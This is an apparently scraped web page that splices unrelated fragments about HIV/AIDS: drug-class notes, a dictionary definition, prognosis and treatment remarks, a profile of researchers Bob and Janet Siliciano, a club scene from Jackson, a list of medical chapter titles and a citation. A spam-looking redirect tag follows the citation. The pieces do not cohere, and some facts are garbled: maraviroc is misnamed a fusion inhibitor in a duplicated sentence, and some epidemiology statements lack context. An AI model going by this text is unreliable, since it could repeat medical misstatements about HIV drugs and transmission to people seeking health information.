Fusion inhibitors and entry inhibitors. Fusion inhibitors block specific proteins on the surface of the virus or the CD4+ cell. These proteins help the virus gain entry into the cell. The only FDA-approved fusion inhibitor as of early 2009 was enfuvirtide (Fuzeon). Entry inhibitors block HIV from entering cells. The only FDA-approved fusion inhibitor as of early 2009 was maraviroc (Selzentry). Several drugs in this class are, as of 2009, in pre-approval clinical trials.
Acronym for acquired immune deficiency (or immunodeficiency) syndrome; disorder of the immune system characterized by opportunistic diseases, including candidiasis, Pneumocystis jiroveci pneumonia, oral hairy leukoplakia, herpes zoster, Kaposi sarcoma, toxoplasmosis, isosporiasis, cryptococcosis, non-Hodgkin lymphoma, and tuberculosis. The syndrome is caused by the human immunodeficiency virus (HIV-1, groups M and O, and HIV-2), which is transmitted in body fluids (notably breast milk, blood, and semen) through sexual contact, sharing of contaminated needles (by IV drug abusers), accidental needle sticks, contact with contaminated blood, or transfusion of contaminated blood or blood products. Hallmark of the immunodeficiency is depletion of T4+ or CD4+ helper/inducer lymphocytes, primarily the result of selective tropism of the virus for the lymphocytes.
The prognosis in patients with untreated HIV infection is poor, with an overall mortality rate of more than 90%. The average time from infection to death is 8-10 years, although individual variability ranges from less than 1 year to long-term nonprogression. Many variables have been implicated in HIV’s rate of progression, including CCR5-delta32 heterozygosity, mental health,  concomitant drug or alcohol abuse, superinfection with another HIV strain, nutrition, and age.
However, with effective treatment, the HIV RNA level decreases to undetectable levels, CD4 counts increase dramatically, and people can continue to lead productive, active lives. The risk of illness and death decreases but remains higher than that of people who are of similar age and who are not infected with HIV. However, if people cannot tolerate or take drugs consistently, HIV infection and immune deficiency progresses, causing serious symptoms and complications.
Contributing to the increased cross-prevalence were persons with hemophilia who had been infected with HIV from contaminated factor VIII concentrate and persons who used intravenous drugs, an activity that transcends all sexual preferences. In 2014, 70% of new HIV infections were reported in homosexual men, and infected heterosexual women outnumber infected heterosexual men nearly two to one. 
At sixty-two, lanky and circumspect, Siliciano is highly regarded in the tight-knit community of H.I.V. researchers. He met his wife and collaborator, Janet, in the nineteen-seventies, when she was a graduate student at Johns Hopkins, studying the proteins that T cells release when they encounter microbes. Now fifty-nine years old, with curly red hair and a hint of a New Jersey accent, Janet joined Bob’s lab after his paper appeared in Nature. She said that the idea was his, but Bob told me that Janet developed it over the next seven years, tracking the levels of dormant virus in patients consistently treated with HAART. Her data confirmed his thesis: the virus could survive almost indefinitely. “We calculated that it would take seventy years of continuous HAART for all the memory T cells to die,” she said.
On Saturday nights, men of color in and around Jackson make their way to the gay club Metro. The windowless building with royal blue paint peeling off aluminum siding stands on Highway 80 next to a run-down car shop and has no sign out front; you just have to know. One evening in October, Cedric Sturdevant walked through the dim front room with Regi Stevenson and James Watson, two 20-something colleagues at My Brother’s Keeper. A handful of guys were J-Setting, dancing in the exuberant style that pays homage to the Prancing J-Settes — Jackson State University’s famous all-female dance squad — combined with a splash of vogueing straight out of Harlem’s drag ballroom scene. The three men watched the dancers performing tightly choreographed moves using chairs as props, before greeting their friend Jermerious Buckley, 30, resplendent in green contacts and red four-inch heels, leaning against the bar.
Cardiovascular Medicine Chapter Dermatology Chapter Endocrinology Chapter Examination Chapter Gastroenterology Chapter General Chapter Gynecology Chapter Infectious Disease Chapter Mental Health Chapter Nephrology Chapter Neurology Chapter Obstetrics Chapter Ophthalmology Chapter Otolaryngology Chapter Pathology and Laboratory Medicine Chapter Pediatrics Chapter Pharmacology Chapter Prevention Chapter Pulmonology Chapter Rheumatology Chapter
People who already have a sexually transmitted infection, such as syphilis, genital herpes, chlamydia, human papillomavirus (HPV), gonorrhea, or bacterial vaginosis, are more likely to acquire HIV infection during sex with an infected partner.
TDF is generally well tolerated although there may be rare kidney damage and may have a greater impact on reducing bone density than other agents. Both of these problems appear to be attenuated with the new formulation of tenofovir called TAF.
During late-stage HIV infection, the risk of developing a life-threatening illness is much greater. Serious conditions may be controlled, avoided, and/or treated with other medications, alongside HIV treatment.
DHHS Panel on Antiretroviral Guidelines for Adults and Adolescents. “Guidelines for the Use of Antiretroviral Agents in HIV-1 Infected Adults and Adolescents.” Washington D.C.: Department of Health and Human Services, 2017.
Persistent generalized lymphadenopathy, or PGL, is a condition in which HIV continues to produce chronic, painless swellings in the lymph nodes during the latent period. The lymph nodes that most frequently affected by PGL are those in the areas of the neck, jaw, groin, and armpits. PGL affects between 50-70% of patients during latency.
Jump up ^ Gao F, Bailes E, Robertson DL, Chen Y, Rodenburg CM, Michael SF, Cummins LB, Arthur LO, Peeters M, Shaw GM, Sharp PM, Hahn BH (1999). “Origin of HIV-1 in the chimpanzee Pan troglodytes troglodytes”. Nature. 397 (6718): 436–41. Bibcode:1999Natur.397..436G. doi:10.1038/17130. PMID 9989410. [redirect url=’http://penetratearticles.info/bump’ sec=’7′]